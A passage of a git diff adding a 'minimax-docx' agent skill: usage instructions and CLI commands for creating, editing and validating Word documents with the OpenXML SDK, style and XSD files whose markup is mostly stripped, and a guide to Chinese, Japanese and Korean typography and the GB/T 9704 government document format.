NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/minimax-docx/SKILL.md b/skills/minimax-docx/SKILL.md new file mode 100644 index 0000000..0d99f52 --- /dev/null +++ b/skills/minimax-docx/SKILL.md @@ -0,0 +1,274 @@ +--- +name: minimax-docx +license: MIT +metadata: + version: "1.0.0" + category: document-processing + author: MiniMaxAI + sources: + - "ECMA-376 Office Open XML File Formats" + - "GB/T 9704-2012 Layout Standard for Official Documents" + - "IEEE / ACM / APA / MLA / Chicago / Turabian Style Guides" + - "Springer LNCS / Nature / HBR Document Templates" +description: > + Professional DOCX document creation, editing, and formatting using OpenXML SDK (.NET). + Three pipelines: (A) create new documents from scratch, (B) fill/edit content in existing + documents, (C) apply template formatting with XSD validation gate-check. + MUST use this skill whenever the user wants to produce, modify, or format a Word document — + including when they say "write a report", "draft a proposal", "make a contract", + "fill in this form", "reformat to match this template", or any task whose final output + is a .docx file. Even if the user doesn't mention "docx" explicitly, if the task + implies a printable/formal document, use this skill. +triggers: + - Word + - docx + - document + - 文档 + - Word文档 + - 报告 + - 合同 + - 公文 + - 排版 + - 套模板 +--- + +# minimax-docx + +Create, edit, and format DOCX documents via CLI tools or direct C# scripts built on OpenXML SDK (.NET). + +## Setup + +**First time:** `bash scripts/setup.sh` (or `powershell scripts/setup.ps1` on Windows, `--minimal` to skip optional deps). + +**First operation in session:** `scripts/env_check.sh` — do not proceed if `NOT READY`. (Skip on subsequent operations within the same session.) + +## Quick Start: Direct C# Path + +When the task requires structural document manipulation (custom styles, complex tables, multi-section layouts, headers/footers, TOC, images), write C# directly instead of wrestling with CLI limitations. Use this scaffold: + +```csharp +// File: scripts/dotnet/task.csx (or a new .cs in a Console project) +// dotnet run --project scripts/dotnet/MiniMaxAIDocx.Cli -- run-script task.csx +#r "nuget: DocumentFormat.OpenXml, 3.2.0" + +using DocumentFormat.OpenXml; +using DocumentFormat.OpenXml.Packaging; +using DocumentFormat.OpenXml.Wordprocessing; + +using var doc = WordprocessingDocument.Create("output.docx", WordprocessingDocumentType.Document); +var mainPart = doc.AddMainDocumentPart(); +mainPart.Document = new Document(new Body()); + +// --- Your logic here --- +// Read the relevant Samples/*.cs file FIRST for tested patterns. +// See Samples/ table in References section below. +``` + +**Before writing any C#, read the relevant `Samples/*.cs` file** — they contain compilable, SDK-version-verified patterns. The Samples table in the References section below maps topics to files. + +## CLI shorthand + +All CLI commands below use `$CLI` as shorthand for: +```bash +dotnet run --project scripts/dotnet/MiniMaxAIDocx.Cli -- +``` + +## Pipeline routing + +Route by checking: does the user have an input .docx file? + +``` +User task +├─ No input file → Pipeline A: CREATE +│ signals: "write", "create", "draft", "generate", "new", "make a report/proposal/memo" +│ → Read references/scenario_a_create.md +│ +└─ Has input .docx + ├─ Replace/fill/modify content → Pipeline B: FILL-EDIT + │ signals: "fill in", "replace", "update", "change text", "add section", "edit" + │ → Read references/scenario_b_edit_content.md + │ + └─ Reformat/apply style/template → Pipeline C: FORMAT-APPLY + signals: "reformat", "apply template", "restyle", "match this format", "套模板", "排版" + ├─ Template is pure style (no content) → C-1: OVERLAY (apply styles to source) + └─ Template has structure (cover/TOC/example sections) → C-2: BASE-REPLACE + (use template as base, replace example content with user content) + → Read references/scenario_c_apply_template.md +``` + +If the request spans multiple pipelines, run them sequentially (e.g., Create then Format-Apply). + +## Pre-processing + +Convert `.doc` → `.docx` if needed: `scripts/doc_to_docx.sh input.doc output_dir/` + +Preview before editing (avoids reading raw XML): `scripts/docx_preview.sh document.docx` + +Analyze structure for editing scenarios: `$CLI analyze --input document.docx` + +## Scenario A: Create + +Read `references/scenario_a_create.md`, `references/typography_guide.md`, and `references/design_principles.md` first. Pick an aesthetic recipe from `Samples/AestheticRecipeSamples.cs` that matches the document type — do not invent formatting values. For CJK, also read `references/cjk_typography.md`. + +**Choose your path:** +- **Simple** (plain text, minimal formatting): use CLI — `$CLI create --type report --output out.docx --config content.json` +- **Structural** (custom styles, multi-section, TOC, images, complex tables): write C# directly. Read the relevant `Samples/*.cs` first. + +CLI options: `--type` (report|letter|memo|academic), `--title`, `--author`, `--page-size` (letter|a4|legal|a3), `--margins` (standard|narrow|wide), `--header`, `--footer`, `--page-numbers`, `--toc`, `--content-json`. + +Then run the **validation pipeline** (below). + +## Scenario B: Edit / Fill + +Read `references/scenario_b_edit_content.md` first. Preview → analyze → edit → validate. + +**Choose your path:** +- **Simple** (text replacement, placeholder fill): use CLI subcommands. +- **Structural** (add/reorganize sections, modify styles, manipulate tables, insert images): write C# directly. Read `references/openxml_element_order.md` and the relevant `Samples/*.cs`. + +Available CLI edit subcommands: +- `replace-text --find "X" --replace "Y"` +- `fill-placeholders --data '{"key":"value"}'` +- `fill-table --data table.json` +- `insert-section`, `remove-section`, `update-header-footer` + +```bash +$CLI edit replace-text --input in.docx --output out.docx --find "OLD" --replace "NEW" +$CLI edit fill-placeholders --input in.docx --output out.docx --data '{"name":"John"}' +``` + +Then run the **validation pipeline**. Also run diff to verify minimal changes: +```bash +$CLI diff --before in.docx --after out.docx +``` + +## Scenario C: Apply Template + +Read `references/scenario_c_apply_template.md` first. Preview and analyze both source and template. + +```bash +$CLI apply-template --input source.docx --template template.docx --output out.docx +``` + +For complex template operations (multi-template merge, per-section headers/footers, style merging), write C# directly — see Critical Rules below for required patterns. + +Run the **validation pipeline**, then the **hard gate-check**: +```bash +$CLI validate --input out.docx --gate-check assets/xsd/business-rules.xsd +``` +Gate-check is a **hard requirement**. Do NOT deliver until it passes. If it fails: diagnose, fix, re-run. + +Also diff to verify content preservation: `$CLI diff --before source.docx --after out.docx` + +## Validation pipeline + +Run after every write operation. For Scenario C the full pipeline is **mandatory**; for A/B it is **recommended** (skip only if the operation was trivially simple). + +```bash +$CLI merge-runs --input doc.docx # 1. consolidate runs +$CLI validate --input doc.docx --xsd assets/xsd/wml-subset.xsd # 2. XSD structure +$CLI validate --input doc.docx --business # 3. business rules +``` + +If XSD fails, auto-repair and retry: +```bash +$CLI fix-order --input doc.docx +$CLI validate --input doc.docx --xsd assets/xsd/wml-subset.xsd +``` + +If XSD still fails, fall back to business rules + preview: +```bash +$CLI validate --input doc.docx --business +scripts/docx_preview.sh doc.docx +# Verify: font contamination=0, table count correct, drawing count correct, sectPr count correct +``` + +Final preview: `scripts/docx_preview.sh doc.docx` + +## Critical rules + +These prevent file corruption — OpenXML is strict about element ordering. + +**Element order** (properties always first): + +| Parent | Order | +|--------|-------| +| `w:p` | `pPr` → runs | +| `w:r` | `rPr` → `t`/`br`/`tab` | +| `w:tbl`| `tblPr` → `tblGrid` → `tr` | +| `w:tr` | `trPr` → `tc` | +| `w:tc` | `tcPr` → `p` (min 1 ``) | +| `w:body` | block content → `sectPr` (LAST child) | + +**Direct format contamination:** When copying content from a source document, inline `rPr` (fonts, color) and `pPr` (borders, shading, spacing) override template styles. Always strip direct formatting — keep only `pStyle` reference and `t` text. Clean tables too (including `pPr/rPr` inside cells). + +**Track changes:** `` uses ``, never ``. `` uses ``, never ``. + +**Font size:** `w:sz` = points × 2 (12pt → `sz="24"`). Margins/spacing in DXA (1 inch = 1440, 1cm ≈ 567). + +**Heading styles MUST have OutlineLevel:** When defining heading styles (Heading1, ThesisH1, etc.), always include `new OutlineLevel { Val = N }` in `StyleParagraphProperties` (H1→0, H2→1, H3→2). Without this, Word sees them as plain styled text — TOC and navigation pane won't work. + +**Multi-template merge:** When given multiple template files (font, heading, breaks), read `references/scenario_c_apply_template.md` section "Multi-Template Merge" FIRST. Key rules: +- Merge styles from all templates into one styles.xml. Structure (sections/breaks) comes from the breaks template. +- Each content paragraph must appear exactly ONCE — never duplicate when inserting section breaks. +- NEVER insert empty/blank paragraphs as padding or section separators. Output paragraph count must equal input. Use section break properties (`w:sectPr` inside `w:pPr`) and style spacing (`w:spacing` before/after) for visual separation. +- Insert oddPage section breaks before EVERY chapter heading, not just the first. Even if a chapter has dual-column content, it MUST start with oddPage; use a second continuous break after the heading for column switching. +- Dual-column chapters need THREE section breaks: (1) oddPage in preceding para's pPr, (2) continuous+cols=2 in the chapter HEADING's pPr, (3) continuous+cols=1 in the last body para's pPr to revert. +- Copy `titlePg` settings from the breaks template for EACH section. Abstract and TOC sections typically need `titlePg=true`. + +**Multi-section headers/footers:** Templates with 10+ sections (e.g., Chinese thesis) have DIFFERENT headers/footers per section (Roman vs Arabic page numbers, different header text per zone). Rules: +- Use C-2 Base-Replace: copy the TEMPLATE as output base, then replace body content. This preserves all sections, headers, footers, and titlePg settings automatically. +- NEVER recreate headers/footers from scratch — copy template header/footer XML byte-for-byte. +- NEVER add formatting (borders, alignment, font size) not present in the template header XML. +- Non-cover sections MUST have header/footer XML files (at least empty header + page number footer). +- See `references/scenario_c_apply_template.md` section "Multi-Section Header/Footer Transfer". + +## References + +Load as needed — don't load all at once. Pick the most relevant files for the task. + +**The C# samples and design references below are the project's knowledge base ("encyclopedia").** When writing OpenXML code, ALWAYS read the relevant sample file first — it contains compilable, SDK-version-verified patterns that prevent common errors. When making aesthetic decisions, read the design principles and recipe files — they encode tested, harmonious parameter sets from authoritative sources (IEEE, ACM, APA, Nature, etc.), not guesses. + +### Scenario guides (read first for each pipeline) + +| File | When | +|------|------| +| `references/scenario_a_create.md` | Pipeline A: creating from scratch | +| `references/scenario_b_edit_content.md` | Pipeline B: editing existing content | +| `references/scenario_c_apply_template.md` | Pipeline C: applying template formatting | + +### C# code samples (compilable, heavily commented — read when writing code) + +| File | Topic | +|------|-------| +| `Samples/DocumentCreationSamples.cs` | Document lifecycle: create, open, save, streams, doc defaults, settings, properties, page setup, multi-section | +| `Samples/StyleSystemSamples.cs` | Styles: Normal/Heading chain, character/table/list styles, DocDefaults, latentStyles, CJK 公文, APA 7th, import, resolve inheritance | +| `Samples/CharacterFormattingSamples.cs` | RunProperties: fonts, size, bold/italic, all underlines, color, highlight, strike, sub/super, caps, spacing, shading, border, emphasis marks | +| `Samples/ParagraphFormattingSamples.cs` | ParagraphProperties: justification, indentation, line/paragraph spacing, keep/widow, outline level, borders, tabs, numbering, bidi, frame | +| `Samples/TableSamples.cs` | Tables: borders, grid, cell props, margins, row height, header repeat, merge (H+V), nested, floating, three-line 三线表, zebra striping | +| `Samples/HeaderFooterSamples.cs` | Headers/footers: page numbers, "Page X of Y", first/even/odd, logo image, table layout, 公文 "-X-", per-section | +| `Samples/ImageSamples.cs` | Images: inline, floating, text wrapping, border, alt text, in header/table, replace, SVG fallback, dimension calc | +| `Samples/ListAndNumberingSamples.cs` | Numbering: bullets, multi-level decimal, custom symbols, outline→headings, legal, Chinese 一/(一)/1./(1), restart/continue | +| `Samples/FieldAndTocSamples.cs` | Fields: TOC, SimpleField vs complex field, DATE/PAGE/REF/SEQ/MERGEFIELD/IF/STYLEREF, TOC styles | +| `Samples/FootnoteAndCommentSamples.cs` | Footnotes, endnotes, comments (4-file system), bookmarks, hyperlinks (internal + external) | +| `Samples/TrackChangesSamples.cs` | Revisions: insertions (w:t), deletions (w:delText!), formatting changes, accept/reject all, move tracking | +| `Samples/AestheticRecipeSamples.cs` | 13 aesthetic recipes from authoritative sources: ModernCorporate, AcademicThesis, ExecutiveBrief, ChineseGovernment (GB/T 9704), MinimalModern, IEEE Conference, ACM sigconf, APA 7th, MLA 9th, Chicago/Turabian, Springer LNCS, Nature, HBR — each with exact values from official style guides | + +Note: `Samples/` path is relative to `scripts/dotnet/MiniMaxAIDocx.Core/`. + +### Markdown references (read when you need specifications or design rules) + +| File | When | +|------|------| +| `references/openxml_element_order.md` | XML element ordering rules (prevents corruption) | +| `references/openxml_units.md` | Unit conversion: DXA, EMU, half-points, eighth-points | +| `references/openxml_encyclopedia_part1.md` | Detailed C# encyclopedia: document creation, styles, character & paragraph formatting | +| `references/openxml_encyclopedia_part2.md` | Detailed C# encyclopedia: page setup, tables, headers/footers, sections, doc properties | +| `references/openxml_encyclopedia_part3.md` | Detailed C# encyclopedia: TOC, footnotes, fields, track changes, comments, images, math, numbering, protection | +| `references/typography_guide.md` | Font pairing, sizes, spacing, page layout, table design, color schemes | +| `references/cjk_typography.md` | CJK fonts, 字号 sizes, RunFonts mapping, GB/T 9704 公文 standard | +| `references/cjk_university_template_guide.md` | Chinese university thesis templates: numeric styleIds (1/2/3 vs Heading1), document zone structure (cover→abstract→TOC→body→references), font expectations, common mistakes | +| `references/design_principles.md` | **Aesthetic foundations**: 6 design principles (white space, contrast/scale, proximity, alignment, repetition, hierarchy) — teaches WHY, not just WHAT | +| `references/design_good_bad_examples.md` | **Good vs Bad comparisons**: 10 categories of typography mistakes with OpenXML values, ASCII mockups, and fixes | +| `references/track_changes_guide.md` | Revision marks deep dive | +| `references/troubleshooting.md` | **Symptom-driven fixes**: 13 common problems indexed by what you SEE (headings wrong, images missing, TOC broken, etc.) — search by symptom, find the fix | diff --git a/skills/minimax-docx/assets/styles/academic_styles.xml b/skills/minimax-docx/assets/styles/academic_styles.xml new file mode 100644 index 0000000..85d1d06 --- /dev/null +++ b/skills/minimax-docx/assets/styles/academic_styles.xml @@ -0,0 +1,250 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/minimax-docx/assets/styles/corporate_styles.xml b/skills/minimax-docx/assets/styles/corporate_styles.xml new file mode 100644 index 0000000..5d7e2fa --- /dev/null +++ b/skills/minimax-docx/assets/styles/corporate_styles.xml @@ -0,0 +1,284 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/minimax-docx/assets/styles/default_styles.xml b/skills/minimax-docx/assets/styles/default_styles.xml new file mode 100644 index 0000000..6efe7f8 --- /dev/null +++ b/skills/minimax-docx/assets/styles/default_styles.xml @@ -0,0 +1,449 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/minimax-docx/assets/xsd/aesthetic-rules.xsd b/skills/minimax-docx/assets/xsd/aesthetic-rules.xsd new file mode 100644 index 0000000..e423035 --- /dev/null +++ b/skills/minimax-docx/assets/xsd/aesthetic-rules.xsd @@ -0,0 +1,470 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Body text font size in half-points. + Acceptable range: 20-28 (10pt-14pt). + - 10pt (20): minimum for comfortable reading + - 11pt (22): modern default (Calibri, Aptos) + - 12pt (24): traditional default (Times New Roman) + - 14pt (28): maximum before body text looks oversized + + + + + + + + + + + + + + + + + + + + + + + Heading font size in half-points. + Acceptable range: 24-52 (12pt-26pt). + - 12pt (24): APA-style (hierarchy via bold/italic, not size) + - 16pt (32): typical H2/H3 + - 20pt (40): typical H1 + - 26pt (52): maximum before headings dominate the page + + + + + + + + + + + + + + + + + + + + + Line spacing value for auto line-spacing rule. + In 240ths of single spacing: 240 = 1.0x, 480 = 2.0x. + Acceptable range: 240-560 (1.0x to 2.33x). + Common values: + - 240: single spacing (dense, technical) + - 259: Word's 1.08x default + - 276: 1.15x (modern corporate default) + - 336: 1.4x (executive/generous) + - 360: 1.5x (generous/minimal) + - 480: 2.0x (academic double spacing) + + + + + + + + + + + + + + + + + + + Fixed line spacing value (lineRule="exact") in DXA. + Acceptable range: 200-720 (10pt-36pt). + - 560: Chinese government standard (28pt, for 16pt body) + - 480: double-space equivalent for 12pt body + + + + + + + + + + + + + + + + + + + + + + Page margin in DXA. Minimum 720 (0.5 inch), maximum 4320 (3 inches). + Common values: + - 720: 0.5in (minimum printable) + - 1440: 1.0in (standard US) + - 1588: 28mm (Chinese government left margin) + - 1800: 1.25in (executive/premium) + - 2160: 1.5in (binding margin or narrow-column design) + + + + + + + + + + + + + + Vertical (top/bottom) page margin in DXA. + Range: 360 to 4320 (0.25in to 3in). + Slightly more permissive than horizontal margins because + header/footer areas may reduce effective vertical margin. + + + + + + + + + + + + + + + + + + + Paragraph spacing (before/after) in DXA. + Range: 0-960 (0pt-48pt). + Common values: + - 0: academic style (uses first-line indent instead) + - 80: 4pt (tight, used after H2/H3) + - 120: 6pt (moderate) + - 160: 8pt (standard modern spacing) + - 200: 10pt (generous/executive) + - 240: 12pt (very generous/minimal) + - 480: 24pt (heading before — creates section break) + + + + + + + + + + + + + + + + + + + + Table cell padding in DXA. Minimum 28 DXA (~1.4pt). + Recommended: 57 DXA (~2.85pt) for comfortable spacing. + Maximum: 288 DXA (~14pt) — beyond this wastes space. + + + + + + + + + + + + + + + + + + + Border width in eighth-points. + Range: 2-24 (0.25pt to 3pt). + Common values: + - 4: 0.5pt (thin, standard) + - 6: 0.75pt (header separator in three-line tables) + - 8: 1.0pt (medium, good for framing borders) + - 12: 1.5pt (heavy, used for top/bottom in three-line tables) + - 24: 3.0pt (maximum before borders dominate) + + + + + + + + + + + + + + + + + + Color value: 6-digit hex (RRGGBB) or "auto". + Examples: "000000", "1F3864", "2C3E50", "auto". + + + + + + + + + + + + + + + + + + + First-line indent in DXA. Range: 0-1440 (0in to 1.0in). + - 0: no indent (modern style with space-after) + - 480: 0.33in (compact) + - 640: ~0.44in (2 Chinese characters at 16pt) + - 720: 0.5in (standard APA/academic) + - 1440: 1.0in (maximum before it looks wrong) + + + + + + + + + + + + + + + + + Aesthetic run properties validator. + Checks font size and color format at the run level. + + + + + + + + + + + + + + + + + + + + + + + + + + + + Aesthetic spacing validator for paragraph spacing properties. + Validates line spacing and before/after spacing are in range. + + + + + + + + + + + + + + + + + + + + + + + Aesthetic page margin validator. + Ensures all margins meet minimum print-safe thresholds. + + + + + + + + + + + + + + + + + + Aesthetic table cell margin validator. + Ensures minimum padding for readability. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/minimax-docx/assets/xsd/business-rules.xsd b/skills/minimax-docx/assets/xsd/business-rules.xsd new file mode 100644 index 0000000..c8e29e4 --- /dev/null +++ b/skills/minimax-docx/assets/xsd/business-rules.xsd @@ -0,0 +1,130 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/minimax-docx/assets/xsd/common-types.xsd b/skills/minimax-docx/assets/xsd/common-types.xsd new file mode 100644 index 0000000..c90a487 --- /dev/null +++ b/skills/minimax-docx/assets/xsd/common-types.xsd @@ -0,0 +1,159 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/minimax-docx/assets/xsd/wml-subset.xsd b/skills/minimax-docx/assets/xsd/wml-subset.xsd new file mode 100644 index 0000000..fb2416d --- /dev/null +++ b/skills/minimax-docx/assets/xsd/wml-subset.xsd @@ -0,0 +1,589 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/minimax-docx/references/cjk_typography.md b/skills/minimax-docx/references/cjk_typography.md new file mode 100644 index 0000000..e468f10 --- /dev/null +++ b/skills/minimax-docx/references/cjk_typography.md @@ -0,0 +1,357 @@ +# CJK Typography & Mixed-Script Guide + +Rules for Chinese, Japanese, and Korean text in DOCX documents. + +## Table of Contents + +1. [Font Selection](#font-selection) +2. [Font Size Names (CJK)](#font-size-names) +3. [RunFonts Mapping](#runfonts-mapping) +4. [Punctuation & Line Breaking](#punctuation--line-breaking) +5. [Paragraph Indentation](#paragraph-indentation) +6. [Line Spacing for CJK](#line-spacing) +7. [Chinese Government Standard (GB/T 9704)](#gbt-9704) +8. [Mixed CJK + Latin Best Practices](#mixed-script) +9. [OpenXML Quick Reference](#openxml-quick-reference) + +--- + +## Font Selection + +### Recommended CJK Fonts + +| Language | Serif (正文) | Sans (标题) | Notes | +|----------|-------------|-------------|-------| +| **Simplified Chinese** | 宋体 (SimSun) | 微软雅黑 (Microsoft YaHei) | YaHei for screen, SimSun for print | +| **Simplified Chinese** | 仿宋 (FangSong) | 黑体 (SimHei) | Government documents | +| **Traditional Chinese** | 新細明體 (PMingLiU) | 微軟正黑體 (Microsoft JhengHei) | Taiwan standard | +| **Japanese** | MS 明朝 (MS Mincho) | MS ゴシック (MS Gothic) | Classic pairing | +| **Japanese** | 游明朝 (Yu Mincho) | 游ゴシック (Yu Gothic) | Modern, Windows 10+ | +| **Korean** | 바탕 (Batang) | 맑은 고딕 (Malgun Gothic) | Standard pairing | + +### Government Document Fonts (公文) + +| Element | Font | Size | +|---------|------|------| +| 标题 (title) | 小标宋 (FZXiaoBiaoSong-B05S) | 二号 (22pt) | +| 一级标题 | 黑体 (SimHei) | 三号 (16pt) | +| 二级标题 | 楷体_GB2312 (KaiTi_GB2312) | 三号 (16pt) | +| 三级标题 | 仿宋_GB2312 加粗 | 三号 (16pt) | +| 正文 (body) | 仿宋_GB2312 (FangSong_GB2312) | 三号 (16pt) | +| 附注/页码 | 宋体 (SimSun) | 四号 (14pt) | + +--- + +## Font Size Names + +CJK uses named sizes. Map to points and `w:sz` half-point values: + +| 字号 | Points | `w:sz` | Common Use | +|------|--------|--------|------------| +| 初号 | 42pt | 84 | Display title | +| 小初 | 36pt | 72 | Large title | +| 一号 | 26pt | 52 | Chapter heading | +| 小一 | 24pt | 48 | Major heading | +| 二号 | 22pt | 44 | Document title (公文) | +| 小二 | 18pt | 36 | Western H1 equivalent | +| 三号 | 16pt | 32 | CJK heading / 公文 body | +| 小三 | 15pt | 30 | Sub-heading | +| 四号 | 14pt | 28 | CJK subheading | +| 小四 | 12pt | 24 | Standard body (CJK) | +| 五号 | 10.5pt | 21 | Compact CJK body | +| 小五 | 9pt | 18 | Footnotes | +| 六号 | 7.5pt | 15 | Fine print | + +--- + +## RunFonts Mapping + +OpenXML uses four font slots to handle multilingual text: + +```xml + + w:hAnsi="Calibri" + w:eastAsia="SimSun" + w:cs="Arial" +/> +``` + +**Word's character classification logic:** + +1. Character is in CJK range → uses `w:eastAsia` font +2. Character is in complex script range → uses `w:cs` font +3. Character is basic Latin (ASCII) → uses `w:ascii` font +4. Everything else → uses `w:hAnsi` font + +**Key**: `w:eastAsia` is the **only** way to set CJK fonts. Setting just `w:ascii` will NOT affect CJK characters. Mixed text within a single run auto-switches fonts at the character level — no need for separate runs. + +### Document Defaults + +```xml + + + + + + + + + + +``` + +`w:lang w:eastAsia` helps Word resolve ambiguous characters (e.g., punctuation shared between CJK and Latin). + +--- + +## Punctuation & Line Breaking + +### Full-Width vs Half-Width + +CJK text uses full-width punctuation: + +| Type | CJK | Latin | +|------|-----|-------| +| Period | 。(U+3002) | . | +| Comma | ,(U+FF0C) 、(U+3001) | , | +| Colon | :(U+FF1A) | : | +| Semicolon | ;(U+FF1B) | ; | +| Quotes | 「」『』 or ""'' | "" '' | +| Parentheses | ()(U+FF08/09) | () | + +In mixed text, use the punctuation style of the **surrounding language context**. + +### OpenXML Controls + +```xml + + + + + + +``` + +### Kinsoku Rules (禁則処理) + +Prevents certain characters from appearing at the start or end of a line: +- **Cannot start a line**: `)」』】〉》。、,!?;:` and closing brackets +- **Cannot end a line**: `(「『【〈《` and opening brackets + +Word applies these automatically when `w:kinsoku` is enabled. + +### Line Breaking + +- CJK characters can break between **any two characters** (no word boundaries needed) +- Latin words within CJK text still follow word-boundary breaking +- `w:wordWrap w:val="false"` enables CJK-style breaking (break anywhere) + +--- + +## Paragraph Indentation + +### Chinese Standard: 2-Character Indent + +Chinese body text conventionally uses a 2-character first-line indent: + +```xml + +``` + +Preferred over `w:firstLine` with fixed DXA because `firstLineChars` scales with font size. + +| Indent | Value | +|--------|-------| +| 1 character | `w:firstLineChars="100"` | +| 2 characters | `w:firstLineChars="200"` | +| 3 characters | `w:firstLineChars="300"` | + +--- + +## Line Spacing + +- CJK characters are taller than Latin characters at the same point size +- Default `1.0` line spacing may feel cramped with CJK text +- Recommended: `1.15–1.5` for mixed CJK+Latin, `1.0` with fixed 28pt for 公文 + +### Auto Spacing + +```xml + + + + +``` + +Adds ~¼ em spacing between CJK and non-CJK characters automatically. **Recommended: always enable.** + +--- + +## GB/T 9704 + +Chinese government document standard (党政机关公文格式). These are **strict requirements**, not suggestions. + +### Page Setup + +| Parameter | Value | OpenXML | +|-----------|-------|---------| +| Page size | A4 (210×297mm) | Width=11906, Height=16838 | +| Top margin | 37mm | 2098 DXA | +| Bottom margin | 35mm | 1984 DXA | +| Left margin | 28mm | 1588 DXA | +| Right margin | 26mm | 1474 DXA | +| Characters/line | 28 | | +| Lines/page | 22 | | +| Line spacing | Fixed 28pt | `line="560"` lineRule="exact" | + +### Document Structure + +``` +┌─────────────────────────────────┐ +│ 发文机关标志 (红头) │ ← 小标宋 or 红色大字 +│ ══════════════════ (红线) │ ← Red #FF0000, 2pt +├─────────────────────────────────┤ +│ 发文字号: X机发〔2025〕X号 │ ← 仿宋 三号, centered +│ │ +│ 标题 (Title) │ ← 小标宋 二号, centered +│ │ 可分多行,回行居中 +│ 主送机关: │ ← 仿宋 三号 +│ │ +│ 正文 (Body)... │ ← 仿宋_GB2312 三号 +│ 一、一级标题 │ ← 黑体 三号 +│ (一)二级标题 │ ← 楷体 三号 +│ 1. 三级标题 │ ← 仿宋 三号 加粗 +│ (1) 四级标题 │ ← 仿宋 三号 +│ │ +│ 附件: 1. xxx │ ← 仿宋 三号 +│ │ +│ 发文机关署名 │ ← 仿宋 三号 +│ 成文日期 │ ← 仿宋 三号, 小写中文数字 +├─────────────────────────────────┤ +│ ══════════════════ (版记线) │ +│ 抄送: xxx │ ← 仿宋 四号 +│ 印发机关及日期 │ ← 仿宋 四号 +└─────────────────────────────────┘ +``` + +### Numbering System + +``` +一、 ← 黑体 (SimHei), no indentation +(一) ← 楷体 (KaiTi), indented 2 chars +1. ← 仿宋加粗 (FangSong Bold), indented 2 chars +(1) ← 仿宋 (FangSong), indented 2 chars +``` + +### Colors + +| Element | Color | Requirement | +|---------|-------|-------------| +| All body text | Black #000000 | Mandatory | +| 红头 (agency name) | Red #FF0000 | Mandatory | +| 红线 (separator) | Red #FF0000 | Mandatory | +| 公章 (official seal) | Red | Mandatory | + +### Page Numbers + +- Position: bottom center +- Format: `-X-` (dash-number-dash) +- Font: 宋体 四号 (SimSun 14pt, `sz="28"`) +- No page number on cover page if present + +--- + +## Mixed Script + +### Font Size Harmony + +CJK characters appear larger than Latin characters at the same point size. Compensation: + +- If body is Calibri 11pt, pair with CJK 